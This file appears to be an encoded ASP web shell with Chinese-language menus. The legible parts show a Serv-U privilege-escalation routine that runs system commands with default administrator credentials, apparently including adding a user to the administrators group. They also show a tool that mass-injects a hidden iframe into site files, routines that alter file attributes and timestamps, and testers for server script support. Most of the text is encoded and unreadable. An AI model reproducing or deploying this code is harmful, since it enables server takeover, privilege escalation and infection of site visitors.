v~YH'E/^l~Um:nk	2EDI]j?@!=WGM:@*za@*@!z]"??@!U#@*,=U,x=#,@!c=kmlcoWM:;!ndY&0,DnK4n	=qP{~YDkhnMk:n.#@*@!tM@*(@*@!(D报告=@!z@!4@*扫描]IU`=U*==bBU~?2WMYsK.h`!+kY Yc.;~?askD:2~{U#|raUb~K.s`=/DRsvD5EUwskDk2~{PUB=##4W!U[PDW,j;Px~ZsGD,4`bwb|,'PT~BURU*2vt;*?DD`bq6~q	K4+	=G;	N`:GP`4P{~TPwWMPrYh2*=~K4nxa`rb*kmcOsx;:.&0~&/,=wvk*b#BPO:bwc4!?mmU`;lV^~|2^/=SP=R?:2`bb?DDcO,'P(Uk+n3Xb#PT,K4+3XP@*(0,/n+	=Va,OPB~/+:acr#0D`O1~x,SdYm.Y8Pb|k++Va*#~O,OswcbPd+xvwvr#BtO`D:x~"koUNgPP*|~K4+	+UNHbDrmv(/	Eh~mxN~CMYH#b^v/O	Es+D&0,(/#KGPxC.D1P,xPkYsK.~L91##SP%bbwct!jmmxc/mVV~|g+aY#3^/n#4M@*U*:(nD@!WOP	E~rkPxg~[,U[,nUNKD,U~P'~?POlMO1"Ijck=2U[,qW=Ask+|(+M@!4DP	;:b/~xKP'~?P:ack*IIUcOD@*U*=3x[~&0|2	[P&0|H6Y|3^/n=4;*~=7`bw`UYM]+BFSq	wc4!#Hb[`bDY,x~ka?Dl Ubb#~=O?bwvt;bUYDcr*#Rq	ra`4!~d+xvO?b_8t;#BU.cbw`B(xUYwv4;#tk9`r#~OKPb_8SF*~= ?kwc4!D]+7cBqUUYa`t!#trNvka6,'~oKDPXb=KEx9cPW,j(PxPT~wW.PbO:a#|~:t+U2vkb#b^vYh	Es+D&0,(/,=O:a`raX6~,.Y,[Pb2jYm?1lU`/C^V~#*|2^/n|BPUR=swck*jDDcDP{Pq	/n3X#|PZPP436,@*q6P/nU=06,O~~~d+hwvr#0OcD1Px~d/OlMO8Pb#/+3X#*~O,Yhwvk~Jx`ack*~tDcO:{P"kL+U[gP~##~K4+Un	N1bnMk^`&d	Eh,l	NPmDDH#bmc/Dx;hDq6~qk=KK~nxmDD1~Px~kYoWM~L91|aX6~%.DP'Pb2UYCUmmx`;l^sP*=H+XY|3^/+#8D@*U#s8nD@!WDPUE~rkPU1,'P?[~n	NW.~?P~[,=,YCMYgIIU`k|2	N~q6=3sk+=(nD@!4Y,U;:b/,xGP'~?Phwvr#"IjcDD@*=b#2UN,(6=3	N,q0#1aY#1n6D=3U9Pq6|16Y#+~',YDkh+.rs+.=bh+MFn.yOYOcDkhYMcbxh'1/Y4+Dr#*=r:[='Dt+D~k	PUK^n/ktM@*KD]]UU@!Pk==A19~&sJSKkWb)U9Pd!4=@#@&=?!8PUmCxvYC.T+Yb2~,wWMOHEs#=rUP3.MW.P"n/!:n~g+6Olk+OP1G	x~{PU+D7+M ZM+CYr8%mYvEbGrf~ ^W	xmOkGUr#lmKUxkY.xrnDG-bNnD{j5S6d2GAR8iGCYmPjW!D^n{JPL~YmDoOrw,[r~E[~2KDO1!hPLJIik+D~(G'sl0nyiKm/khWMN{IJ=mGx	R/G	x+1OkKxKbhnW!Y{FlmGU	RGwUP1WUUkYDl(6P3DM~:tn	)&0PADM x!:8+MPx~  FW{ 8G%Wf~WMPAD.RU;s4nD,xP  q*Fcv{+l,~K4n	)(6P&x?DDv3DMR[+km.raYkKU~,J`;GUxmD`b# E*P@*PZ~K4+Ul"I?cOmDL+DraP',J=JPLPaGDD1;:,[~EcRRc Rc关闭@!4M@*E#=2^/n)]]U`OlML+Dk2~LPJlE,[~wK.D1;sPLPJcRc RcR@!0KxO~1WVK.'M+N@*开放@!&0KxD@*@!4.@*r#l2	[P&0l3	NP(W=2UN,(6)3	N,?E()UnVmOP;ldn,bmDrW	)ZmdnPrHmkUHnU!JlHmrxt+U;v#)/Ck+~JTnDKnM:bxl^q	WWr)L+DKn.skxmsq	0WvblZm/PEnCLb[N:GH94Elhlon)9NPWt[(`b=mm/+,JU^l	nGDDJlj1lxhGDD`#=/C/ProG4C^0JloK8l13cb=Zldn,Jj+M-!JlUjmmYbW	xD;;+kYcEUjl1OkKxJ*@#@&k6P,xGY~rkx;:.k1`jimmYrG	#~Y4n	P./aWxk+cnx9@#@&Ek+.~{PYMr:vD+$;n/D`rEE#b@#@&wC/k~',Y.rs`Dn5!+dYvEaJb*@#@&wWMY,xPDDr:vDn5!+/DcJaWDDEb#@#@&1:[Px~DDr:v.+$EndD`J^E*#@#@&6xDDrs`M+;!+kO`r0E#*@#@&r6P0{EJ,YtU@#@&6'TwCY4c*@#@&+^d+@#@&Wx^+0Oc6~+#@#@&x[,k6@#@&6Ya2WMY~',vXXZ!@#@&Oks+W!Ox&@#@&^WLkU;k+.P{~J`/n.,JP'~!/nD,',\8;Dd0@#@&VKLk	wC/kPx~rnlkdPrP[,2C/kPLP-4/.d0@#@&9nV9WhCbxPx~rO92d3:29}Hzq1rPL~\(Z.S6P'~rOqhx!c!RZ TJ,[,\8Z.J6P'Pr~nKDOHK'J~',0OwaGMY~LP74ZMS6@#@&sY~',Jj(:2Pt)qgK2g)HZAJ,[~\8/MSW@#@&U+SNGhmkx~x,JR?APGr\zqgJPLP78ZMSWPLPERGW:mrx{oW^[dE	uZRTRT ZuEPL~0Dw2GMYP'~ruRF-q-!E,[,\4;DdWPLPEO:}63	l4^n'ZJPL~-4;Dd0~[~E,KtrnnX{J~',\4/.d0@#@&	nSEdD,'PrOU3K`?3IU2PihJPL~\(ZDdW~[,J qK'T ZRTRZEPLP-8;DSW~LPEOhGMYHK'rP[,0D2wKDOPLP-8;DS6~[,JO`dnD{oKJ~[~-(Z.S6~[,JRKm//AGMNxW9E,[~74;DS6PL~{@#@&EO_WhnGkD{^)'-J,'~\(ZMSWP'~rOJWTrxt+dobV+xE,[~\(/MSW,[,JOGkkC4^+x!rP'~74ZMJ0,[PrR]+^nmY4/xqrP'P78ZMSW~LP{@#@&rOH+[U+^!D'!rPL~\(Z.S6P'~rOCb[+_kN9nU'ZJ,[~\8/MSWPL~J bsAmX/)s^WASKLbxxZJ,[P74;.S6P'PrO/4mxoKlk/hK.['ZJ,[~\8/MSWPL~{@#@&ER5EWOCAxC4^n{!E,[,\4;DdWPLPEOtlaik+DkJWTkxhn.qh' FEP'~74/DdWPLPERUw+n[dkhkDia'TrPLP\(ZMJ0,[~J ?2nNSbhkDfWSUx!rPLP-4/.d0~[,m@#@&JR\m61.ik+./{R8J~LP74ZMS6~[,JRq9VnPb:+};Y{v!ZE~[,\(Z.SW~LPEOUn/kkGU:k:n6!YxO8E,[~74;DS6PL~J 2awbDnxZJPL~\(ZDdW~[,J ICYrG`wxFr~[,\8/MS0~',{@#@&rR"lObWGWh	'8EPLP-4;DJW,[PrRImYkKd/DNbYx!E~LP-4;.S6P'~rOp;GDl/EM.xO{!rP[,\(/Dd0~[,JR}!WYm\lXk:!hx!rPLP-4/.d0~[,m@#@&JR\mkxOn	lUmxUXdD+sJPLP78ZMSWPLPERhl/kAWMNKH2n'"+TEsl.E,[~\(/Dd0~',JO]CDkG/{HKxnrPLP\(ZMJ0,[~J,b^^//{^)'-u"	)HAS;fKJ~',\8ZMJ0@#@&5;bYPx~rpiq:E,[~74;DS6@#@&U+SEd+M'.naVl1n`	+h!dnDBJ1)E~Wb@#@&d+^nmDP^Ck+PjimmOkKU@#@&^m/PF@#@&knY,lx?D-nMRZMnlD+r(%nmD`rHrm.GkWWYcpHdCPPhJ#@#@&mRGwU,J!AKr~PrtDOw=z&FyG Tc!R8lJ,[PaG.Y,[,J&oGs9/;xJ;wmNhr	z/qEBK.ES,JEBPrJ@#@&lcd+	N~VKorU!/+M~[,VWTrUwm/kP'PhO,[~NsNK:Cr	P[~Uh[WsCbx~LP	+h!/.PLP5EbY@#@&k+Y,d+k/kKUcJmJ*'C@#@&]"?E@!6GDsPhnDtW[xEwG/Dv,xCs+{BoKV9dE	B@*J@#@&]]UJ@!bUw!YP	Ch+{B!B~Yz2'vtb[Nxv~bN'v;EP-l^;'vr[!/+M[rv@*@!zON@*J@#@&"I?r@!k	wED~Uls+{B2B~OHwn'E4k9NnUEPk[xEwvP7C^En{Br[wm/k'JE@*@!zDN@*E@#@&I"jJ@!kxa;OP	ls+xB2GMYvPDzw'v4bNNnUEPrN{vaW.DB,\l^ExBr[2WMY'EE@*@!JON@*J@#@&]]?r@!bx2EO~	lh+{vmEPOza+'v4bN[+	v,k[{B1BP7l^;+{BE[1:['rBPkry'BlTv@*r@#@&I]?E@!bx2ED~xm:nxE0B~OHwn'E4bN[xEPk9'EWB,\CV!+xvr[0LEB,/k.nxBl!E@*E@#@&]"?E@!bUw!Y~Um:+xvUjCmDrKxv,YHw+{B4rN9+UB,k[xE?jm^YbWxE~-l^E'v v@*@!zWWMh@*r@#@&]"?J@!d1DrwD~^lUTEmo+{BNC\m/^DbwOv@*J@#@&]IUJNK^;:xDRADrO`v@!1nxD+.@*正在连接,F { ZRTR8lr[2KDD[JB使用用户名),E[!/nDLJS口令：ELwlkd[rRRc@!^+	YD@*BbIr@#@&I"jJk+OPb:+G;D`vNK^!:n	YclV^RTGV9/;xc/;8skYvbiE~cZTT#pJ@#@&]IjE@!zdmMrwD@*E@#@&mldn, @#@&knDP8{?D\Dc/DlO+}4%n1Y`r\k1DWkGWYc(tSuKPKr#@#@&( Wa+U~rM2PEBPEtDOa)&JFyGRZRZ F=J~[,0O2aWDD~[,JzTGsNkE	z;wC[skUzk+JBPP.!+~~Er~~Jr@#@&4 k+	NPrjknD,oGJ,[~-(ZDdWPLPJaCd/,W9J~[~-(Z.S6~[,JdrD+Pnam~J,',mh9PLP\(ZMJ0,[~;!kO@#@&/+D~///bGU`r4r#x4@#@&"IjJ@!WWM:~hYtG[{B2WkOEPUm:'BTW^[/!xv@*r@#@&]"?J@!rxaEY,UC:'EEvPOza+xB4rN9+Uv,kNxv!B~\ms!+xEJLE/DLEB@*@!&Y9@*E@#@&IIUE@!bxw!O~xm:'vwv~DX2+{vtbN[n	BPr[{B2B,-mV;'EJ[alkd[rB@*@!JY[@*r@#@&"]?r@!k	2;Y,xm:n'v2KDOB,OXa+xv4kN[n	B~k9xEwGMYEP\mV!n'EJ'wKDO'rB@*@!&Y9@*J@#@&]IUJ@!kUw;O,xC:xB1B~OHw+xv4k[NUEPr9'EmB,\msE'vJLmh[LJB,dk.+'EXTB@*J@#@&]IjE@!kUw!OP	lhn{B0v~DX2+{v4k[9+	BPbN{v0EP-l^EnxEJ[6'JEP/b"n'E*ZB@*J@#@&"IjJ@!rxaEO~	l:nxE?il1ObWUEPDXw'E4k9NnxEPr[{B?`CmDkW	v~\mV!+xBfv@*@!&0K.:@*J@#@&"I?E@!km.kaO,VC	o!lo'E%l7ldmMk2OE@*J@#@&I"?J9G^Es+	Y h.rD+cB@!8D@*@!^n	Y+.@*正在提升权限B请等待R RB@!1+UD+M@*B*ir@#@&"IjJk+OPb:+K;YvJJ9G^Es+	Y lsscoGV9dE	Rd;(:kOc*iEJB*Z!T*ir@#@&"IUE@!J/^DbwO@*r@#@&1C/P&@#@&d+DP1'j+.-D ZMnlD+68N+mOcrHrmMGkWWDRoHS_K:KJ*@#@&mcW2n	PJV3Kr~Pr4OYa)Jzq { ZRTR8lJ,[~2KDY~',J&oKs9/;	z!wl9:bUzk&E~,K.;~PrE~,JJ@#@&^Rk+	N~VGLbx;/.PLPsGTkx2Ck/~[,hDP',NVNK:mrx,[~;!kO@#@&/+D~///bGU`rmr#xm@#@&"IjJ@!^+	Yn.@*提权完毕~已执行了命令：@!8.@*@!WW	O,mG^WM'DN@*E[1:[[r@!&WKxY@*@!4M@*@!(.@*J@#@&"IjJ@!r	w;Y,OXa+x8!YYGU,\CV!n{B~返回继续,B,Wx;Vb^3{JEVKmCObWxc4D0'E_)mDkKxx?n.7EvirE@*r@#@&]"?J@!&1+UY.@*J@#@&mm/+,+^d+@#@&Gx,+..KDPMn/!:+,Un6D@#@&/nY~C{/n/krW	`ECr#@#@&dY~4{d/dbW	`J(J*@#@&k+OP1'dnk/kKU`rmJ*@#@&lcl(W.Y@#@&U+OPm~',1GO4kxL@#@&4 l(GMY@#@&?YP(P{~1KY4k	o@#@&1Rl(GDD@#@&UnOP1P{PHWO4bxL@#@&]IUJ@!^xYn.@*@!8D@*@!6W.sPs+Y4W9xBaWdYEPUCs+'ELW^N/!Uv@*r@#@&I]?E@!Dl8V~hbNO4{Bc1*EP4+bL4YxEF+&B,4K.NDxB8B~^VVaCN9kxTxv!EP1+sVd2mmrxTxB8B~8KDNn.1WsWMxEa+v+vvE@*r@#@&"IjJ@!Y.~mVkTU'Em+	OnDEP7lskLU{Bhk9[VB@*E@#@&I]jr@!ON,^KVdal	'ByB@*j+M\Rj,提升权限P)jh版@!zD[@*r@#@&"]jJ@!zDD@*J@#@&"IjJ@!OD,lsrTx'v^xO+Mv,\C^kTx'E:b[N^+v@*r@#@&]"?J@!ON,hk9O4'EFZ!v@*用户名l@!JY[@*r@#@&"IjE@!YN~AbNOt{v2G1E@*@!kxaED~xm:n'EEv~DXwxBD+6Dv~k9'EEvP-C^En'EJW1ls)9:kUrkY.lDGMB@*@!zDN@*r@#@&]IUJ@!zDD@*E@#@&I"jJ@!YD,CskTx{B^+UODvP7CVboUxE:k[[^+v@*r@#@&I]UJ@!YN@*口P令：@!&Y9@*E@#@&I]jr@!Y9@*@!bxw!O~xm:'vwv~DX2+{vY6Ov,kNxvaB~\ms!+xEa^@$^m3[ V0iT@$hB@*@!JYN@*E@#@&IIUE@!zDD@*J@#@&]]UJ@!YM~l^kLU{BmnUD+.B,-mVrTx{B:bN9s+E@*E@#@&I]jr@!Y9@*端P口：@!zY9@*E@#@&I"?E@!O[@*@!rxa;Y,xCh'B2GMYvPDza+xEY6YEPb['EwGDDB~-mVExBW&,l0v@*@!zDN@*J@#@&"IjJ@!&YM@*E@#@&IIjE@!Y.PmsboU{B1+xD+MvP7lskTxxvskN9s+E@*J@#@&]IUJ@!Y[@*系统路径：@!&DN@*J@#@&I"?E@!DN@*@!r	w;Y,Um:n{B6BPDXan'EYn6DB~r9'B6vP7lV!nxBr[6[EB~dbyn'E0B@*@!&O9@*J@#@&"IjJ@!&DD@*r@#@&IIUJ@!OD,lskTxxv1+xDnDEP\msro	'E:rN[sB@*J@#@&I"?E@!DN@*命M令：@!JY[@*r@#@&I]UJ@!YN@*@!bUw!Y~xm:nxEmB,OXa+'EOn6DB,k['v^EP-l^;+{B^h9Pz^~	+OP!dD~R!k+m,%Zd+1P&l9N~',x+D~VKml^L.W!w,l[:rUb/ODmOWM/~0Z/+^~Jl[NE~kk"'E*!E@*@!&Y9@*E@#@&I]jr@!zD.@*r@#@&"]jJ@!YMPCVrL	'vmUYDv~7lVrL	'v:b[9VnE@*r@#@&"IUE@!DN~mKVd2mx'E+B@*@!k	2;Y,YHwn'vd!4hkDvP	lhn{B?;8skOB,-mV;'E提交B@*,J@#@&I"?E@!bx2;DPYH2+{BDdnYEP	lh+xvUE8:bO EP-C^E+xv重置E@*E@#@&]"?E@!k	wEDP	C:'v?`l^ObWxE~YHw+{v4k9NxvPr[{BCmDrW	B~-mVEnxEFv@*@!&DN@*r@#@&IIUJ@!&YM@*@!zDl8s@*@!JWWM:@*@!&^+	YD@*J@#@&x[PknVmO@#@&0EU^DkGx,!alO4`*@#@&Kx,nDMW.PM+d;s+P	n6D@#@&..R1Vl.@#@&dY~0{j+M\n.cZDnCD+64Nn1Ycr?1DkaYbUocsrV?zdD+:}8LmYrb@#@&b0,+.D U!:8+M@*!,Y4n	@#@&L2mY4'r^=J@#@&+XkY,0!UmDkGx@#@&nU9Pk6@#@&TwlD4x0cMYjwn^blssKsNDcT*@#@&L2mY4'^^m/nvV0YvoaCY4~+#*@#@&dYP6xxKYtbUL)x9PWEU^DkGx=@#@&;ldn,JZ2sT:E@#@&oalO4'"+;!+kO`r0[J*@#@&C9NmK[+,'P"n5E/D`EmG[Jb@#@&CN9mG[ Px~"+5EdD`E1W9+ r#@#@&w10rV'.n$E+kO`rwm6rs+r#@#@&^tn^04G6{.+$EndD`J^4mV4Kar#@#@&?4Wht/TxD;;+kYcEUtWS\/TJ#@#@&oKHw'.+5;/O`roKHwnE*@#@&\xM+5EdD`EtJ*@#@&b0,oYHwn'rJ~O4+x,oYHw+{EO6Du4Yhu4OsVklk2uat2kN/wkCkwau1Lbu^D-l/mu1[6r@#@&k6Po2mYt{E-rPY4nUPwwmY4'jnM\nDc\lanCO4`JwE*@#@&k6~wwCDt{JRrPK.PwwCY4'EE,YtUPwwlD4x?D7+.R\CanCY4cJcJb@#@&k0~C9N^W9n{JE,Y4+x,l9[mKNn'r@!rWMl:~/Mm'4OOw=zJF+G Tc! FJhR4Yh~SkNO4{!~trTtO{!@*@!zb0MC:@*E@#@&kW~1t+1V4K6'rE~Y4+	P^tn^04G6{.+$EndD`J^4mV4Kar#@#@&k6Pw10bs+{JEPDtnU@#@&w1Wk^+1mhn'"+$En/O U+.\..mDrC(V+dcr?/I&K:{HzHAJ#@#@&a^0bVn3{/2sbY`a^0bV+gCh+BJJJbP@#@&amWk^nx{E8G!xNc210rVV*P@#@&w10k^+{2m6ks+0`2^6kVU#,@#@&U[Pb0@#@&]Ij~vJ@!A"@*@!(@*网站根目录@!&(@*O~EL?nD7nMR\mwhlY4`r&J*[E@!(D@*E*@#@&"]?,`J@!8@*本程序目录@!J4@*O~J'jD-+M HmwKCDt`E r#b@#@&]"?~r@!6WDsPsnY4W['hrjP@*@!4@*,J,@#@&bW~H{J8J~Y4n	P]IUE批量挂马O批量挂马r@#@&r6PHxEyJ~Y4n	P]"?r批量清马O清除别人的网马J@#@&bWPt'E&rPO4xP"]?r批量挂马O批量替换代码J@#@&r0,H{JEPO4x~DdwKxdnc+x[@#@&I]?,EY@!&(@*@!Yl(V~hbNOt{FTTuP4K.ND'Z@*@!YM@*@!Y[@*文件路径：@!&DN@*J@#@&I"?~E@!YN@*@!bx2ED~DX2'D+6DP	C:'WN,\Cs!+'EE[wwlD4'JEPkk"+x*Z@*~填“-”即网站根目录；“c”为程序所在目录@!zDN@*@!JYD@*E@#@&r0,\{JqrPDt+	P"]?,J@!YM@*@!O9@*过滤重复：@!JON@*@!Y9@*@!k	w!Y~msCk/xm,Uls+xv1t+^V(WaB,OHwn{m4+m04KaP7lsE'v^4+m0nNEPJL^4+13(Wa[E@*,防止一个页面中有多个重复的代码@!&Y9@*@!JY.@*r@#@&]]UPE@!D.@*@!O9@*排除文件：@!zY9@*r@#@&"IjPr@!O[@*@!k	2EDPxmhn'Ew10rVnv,YzwxY6O~bN'v210rVv,\C^E'Br[a^0bVn[rB~dby+{*!@*P输入不想被修改的文件名，例如：FcCdw- cldwkfcldw@!&Y9@*@!&DD@*E@#@&I]?,E@!Y.@*@!DN@*文件类型：@!zD[@*r@#@&I"?~E@!YN@*@!k	wED~Uls+{BoKz2B~YH2+{YnaDPk[xEsPXanEP-mV!+'EJLoYHwn[rB~dby+{*!@*P输入要修改的文件类型$扩展名Y，例如：4O:-tD:suCdau2takLkwkCkw6k^Tk@!zD[@*@!&DD@*@!YM@*@!ON@*J@#@&b0~\{JFr~Y4+x,]]?r要挂的马：J@#@&r0~\{J+J,Otx~]"?J要清的马：E@#@&kWPtxr&E,Y4+x,I"jJ要替换的代码：r@#@&I"?E@!JYN@*@!Y9@*@!DnaYmDl~xCh'^W9nP1Wsd{vv~.Khd'2@*r[C9N1WN[r@!zD+aYmDnC@*@!zD[@*@!zYM@*E@#@&k6P\'EfrPOtUP"Ij~r@!Y.@*@!Y[@*替换为：@!&DN@*@!Y9@*@!D+XOlM+CP	lhn{mW9n ,mW^dxv+PMWA/xf@*J'l9[mKNn+LJ@!&O6OlMnm@*@!JY9@*@!JYM@*J@#@&]IUPE@!DD@*@!ON@*@!zD[@*@!DN@*P@!kU2!Y~xmh+{/;8skY~OHwn'k;(:rDP7lV!+{开始执行@*P O标记解释RO]成功：√P，~排除：×~，,重复：@!0KUY,mW^G.'M+9@*×@!zWG	Y@*T@!&Y9@*@!&DD@*E@#@&I]?,E@!zOm4^+@*@!z6GDs@*EP@#@&rW,D+$;+kY`rd;4skDJb'E开始执行E,Y4+	~@#@&I]jr@!Nr-,/OX^n{BsbxOtkT4Y= XwXB@*@!(@*执行记录：@!J8@*@!4D@*E@#@&1l^V~qUdDOb^ssbVndvswCO4~CN9^KNnBw10k^+*@#@&"IjJ@!z[r7@*J@#@&+	NPbW@#@&kE(PCYOc*@#@&NbhPhlO4Bsksnglh+BHhPb:~?4EorxT@#@&/Y~2mYt{.+$E+kO sKDs`EwCO4FE#@#@&/Y~WbV+HCs+xD5!+dDRwWDs`rWk^+Uls+Eb@#@&/OP	+h:rh+{D;;+dOcsGDscJDkhnr#@#@&dY~?4;okUT'M+;!+kORwW.:vJd4!6k	LJ*@#@&"]jJ@!0KDhPhnDtGN{2WkY@*E@#@&I]jr路g5径)@!r	w;DP	l:'E2lDtqB,\Cs!+'EE[q"66KLJ'B~/r"'vvZv@*@!4.&@*J@#@&]"?E文件名称)@!r	w;DP	l:'6rVxC:P-C^E+{vk	N+X C/aB,/rynxEvTB@*@!4Mz@*E@#@&I]jr修改时间)@!k	2!Y~	ls+'DksnP7lsE'vqyz 8& Z!,,+f)l,=*1B~dbyn'E!E@*@!8Mz@*E@#@&I]?r@!k+smDPW	Z4CxT+xBDtrdc0WMhRktEXrUoc\mV;+xO4kdR7CV!+Iv@*J@#@&]"?E@!K2DkG	P7lV!+{vB@*普通@!&WaYrG	@*J@#@&I"?J@!G2YbW	P-ls;'vFE@*只读@!JW2ObWx@*E@#@&]IUE@!W2DkKxP7l^;+{B+B@*隐藏@!&GaYkKU@*r@#@&"]jJ@!WaYrWU~7lsExBWB@*系统@!JWwOrKx@*J@#@&"Ijr@!KwYbW	~\mV;+{BffE@*只读存档P@!&WaYkKU@*J@#@&"IjJ@!GaYrW	~\mV;n{B&*v@*隐藏存档P@!zK2DkG	@*r@#@&"IUE@!KwOkKx~-mVExB2*B@*只读隐藏存档~@!zKwDkGx@*E@#@&]IUE@!KwOrKxP-C^En'EfOB@*只读隐藏存档系统,@!JWwDkKU@*r@#@&I"?E修改属性：@!bxw!OP	l:xdt!6bxLP-C^En'ETB,/r"'BTE@*@!4M&@*J@#@&I"?J@!k	2EDPOXa+xd!4:bOP7lV!nx修改@*r@#@&I]?E@!J0GDs@*J@#@&rWvP`sn	`2lD4*@*T*l	N`^+	c0bVn1m:nb@*!#mUNvV+	cU+SKb:n#@*T*PbY4nx@#@&jnDP0dG{?nD7nMR/M+mY+}4NnmD`E?1Dr2DkxT sbV+UzdY:}4%+^Or#@#@&UnY,0rs'0dGconYwr^+calDt[6k^n1m:n#@#@&Wr^+RmOYMk4!On/{?4EpkUL@#@&j+D~/4+ss{?+.-D ZMnmYn}4N+mD`rjtVsRzw2sbmlDrW	J#@#@&j+DPmw2{2CDtx/4nV^RHCs+?2C1+c/.7+.c:mwwmY4cJcJb#@#@&jnDPla2{6kVxCwa{alOt KmDd+gC:`Wr^+1Ch#@#@&m2a{WbVRHKNbWX9lO+{xnA:k:@#@&"I?r@!&4M@*@!z8D@*修改文件'	4dwp'x(/2Ir[wCO4[Wk^nglh[r[x(/aI[	4dwp属性完成J@#@&xN,r0@#@&+	[~/!4@#@&WEU^DkGx,2ta`blk+Y~WkWx?.7+.cZM+lD+}8LmO`r?^.bwYbUocsk^njXkY:64%n1YE#=W/KR/.lYnP6Osbs`dD7+Dc:m2wmY4`rYndDRw42J*#Rq.rYJ@!gKCK~m4W,v恭喜服务器支持n_nv_@*@!g24aP2tar	0Gv#Q@*J=IdwKxd+ch.rD+J@!r0Ml:~dD1'D+dY 24w~hb[Y4'1XZPtnrTtO'2TZ@*@!Jk6Dls+@*~J=In/aWUdRhMrYPJ@!8.@*@!4M@*@!w@*@!(D@*@!a@*@!(D@*@!(D@*@!2@*@!8D@*@!1+UD+M@*如果你能看到Y/D w4w正常显示S表示支持n_n@!2@*@!0KUY,mW^G.'M+9否则就是不支持拉"测试完成记得删除！E)3U9PWE	^YbWUl@#@&s;U1YrW	~"x[gEs4+M`trxBHC6*P@#@&"lx9G:by+,@#@&I	NgEh4n.{qUYvcHm6~R,HkU~3Pq#,M,IU9`*P_,HbU#,@#@&2	N~o!xmDrW	@#@&6;UmDkKx~M2CDtc#@#@&W	Pn.MWD~./;:~	+aD@#@&+DMR1s+mD@#@&k+O~6'?.\DR;.nlD+}4%+^OvJjmMrwDkULcsksnUXdYh}4%mDJ#@#@&bWPD.R	Eh8D@*Z~Y4+x@#@&LwmY4'EmlE@#@&n6bOP6EU^DkWU@#@&+UN,r6@#@&TwmYt{0c!+D?2+1kCswWV9nDv!#@#@&LwmY4'smCd`s+6O`TwCO4~ bb@#@&d+D~6'UKY4kxT@#@&nx9PWE	mOrKx@#@&WE	mYbGUPN/a`b)dnDPW/Kx?D-nMRZ.nmYnr(%mOvJUmDbwDrxTRok^+jzkY+s64N+mDEb)6/KR/DnCD+P+XOsbVnck+D-nMRhla2mY4vJD+/DRNdwr#bRqDrOJ恭喜服务器支持Lk2J=I+k2Gxk+ch.kOnr@!r0MC:Pd.1'YndDR%/a~Sk[Dt{,*ZP4nkTtO'2!T@*@!zk6.ls+@*,ElI/aWU/n SDrY~J@!4.@*@!4D@*@!a@*@!4M@*@!w@*@!4M@*@!(D@*@!w@*@!8D@*@!^n	Y+M@*如果你能看到Y/Yc%dw正常显示B表示支持Lkw@!w@*@!J0GxD@*@!a@*@!C,tDnW{B_b1ObWU{laLNVE@*@!6WUY,/r"'*,^W^WD{.nN@*删除测试的所有文件`必须全部测试才可以删除B否则会出错"b@!&WKxO@*@!&l@*@!&^xYn.@*Jl2	[,0;	mDkW	)6;x1YrW	PCda6`*l/YP6dG'U+M\nD /M+CY64N+^OvJ?^.bwOk	Lcsr^+UX/D+s64N+^Yr#lWkWR;.+mY+:naYwk^+c/n.7+.RsCwalO4vJYndDRC/aar#bcMkYJ恭喜服务器支持mdwXJlI/2G	/+cADbY+r@!r0Mls+~/.^{Yn/D lkwa~SkNO4{,X!,4kL4Y{&!Z@*@!&k6DC:@*~E=I+k2W	/+cA.kD+,J@!4.@*@!4.@*@!2@*@!4.@*@!w@*@!8M@*@!4M@*@!w@*@!4M@*@!1+	O+M@*如果你能看到P+kY Ckw6正常显示B表示支持C/aRxO@!w@*@!6WUY~^KVGD{.+9@*否则就是不支持拉Z测试完成记得删除！E=2x[~6EUmDrKx@#@&0!xmDkKUPmw%NVcb=/+D~0kW'Un.\DcZ.+COr8L^YvJj^MkwOr	o sbs?zkY:r(L^Yr#l0kW 9V+DnsbV+vdnD7+MRhl22mY4`rO+kY Ckw6Eb*)W/K G+sYsk^+vd+M\nDc:C2alY4cJD+/D 2taJ*#l0dGcfnVO+wksnv/+.-D :m2alO4`rY+kYc%/aJb#=DndaWxknRSDkDnE删除完毕"r)Ax[PW;	mOkKU)6EU^DkWU~klh`*l"+daW	/+chMrYPE@!(D@*@!(D@*@!2@*@!4D@*@!2@*@!4M@*@!4.@*@!w@*@!(.@*@!mnUD+D@*@!(D@*@!(.@*@!WKxDPmKVK.'M+[@*r).nkwW	d+chDbOnJ@!mxO+.@*@!0GxD~0mmnxSkxL[bxL/,^KVGM'[!!AZZTPkYzV'WG	YOkry) WT2Y@*1@!zWWUO@*@!dwmUP1VCdk'/Oz^+q@*@!dalU,/DXV'6GxDOA+bo4O=P&ZT@*@!0W	O~0mm'(:2C1Y~mKsWM':owssoo,/OX^n{0G	Y /k.+=~FZ!2Y@*@!&^xY.@*r)2	[~0!x1YrWUl6EUmDrW	PLG(lmVc*)d+D~}0dKP{P?D7nDcZ.+mYn6(L+1O`r?mMr2YbxTRoksnUXdYhr(Ln^DJ#@#@&k+OPKWKV[D,'P}0kGRV+O0KV[nM`?d/bWxvEoW^NDKlO4r#b@#@&r0,xGO,W0Gs9+.R&d"WGDsKVND,Otx~@#@&IndaWxknRSDkDn~J@!/1DrwO@*UtGhwGV9+.crJJ']nCY4cK0G^NDRalMnxD0GV9+.bLJJrb@!J/mMr2Y@*J@#@&nVdn,@#@&IdwKxdnchDrOPE@!k^Mk2D@*UtWSsKsNDcJrJ'j//bGxvJsKs[+MnmY4Jb'rJE#@!&/1Dr2D@*J@#@&x[PbW@#@&dY,r0kW{UWDtrxT@#@&dYPKWW^N+MxUWDtbxL@#@&n	N~0!UmDkGU@#@&?;8,qU/.Dbs^sbV+k`q2lDtS1W[nBwm*@#@&U+D7n.RUmMk2YPrs+GEDx,O,11O,,1@#@&kWPMrTtOvalY4~8b@!@*JwJ,Y4n	PaCY4'aCOt,[r-E@#@&jY~wjr,'~/M+lOn}4%+1OvJj1DbwYbxT sbVn?H/Onsr4NnmDJ#@#@&Gx,+MDGD~./;:~x6O~@#@&?nO,0~',	w?6cMYsKV9nDv2lDtb@#@&?+D~01 P{~WR6k^+d@#@&oKD~2m^t,:zWbV+~r	PWmy@#@&?nDPw?F,',/DlO+}4%n1Y`rjmMkwDrUocsbVn?zdD+hr(%+1YEb@#@&sPza+q'k2^kOv:H0k^+cUls+SJcJb~@#@&s:zw '!8GE	NvsPX2n8#~@#@&r0,sOza+ @*T,Y4+	@#@&sPHw&'dZmd+vsPXa+qcwKXan *#P@#@&nVk+@#@&oKz2&xJ无r@#@&x[~b0@#@&r6P(xkOM`J;lk+`am*SS;ld+v:zWbV+cUls+#*xTPmx9P(xdOM`JZmd+vsPza+#So:X2+2b@!@*T,Y4+x@#@&knVmOP1ldn,H@#@&^lk+PrqE@#@&k6P^tn^04G6@!@*J1tn^0+NE~Dtnx@#@&U+O,Y6kV'wjFcW2+	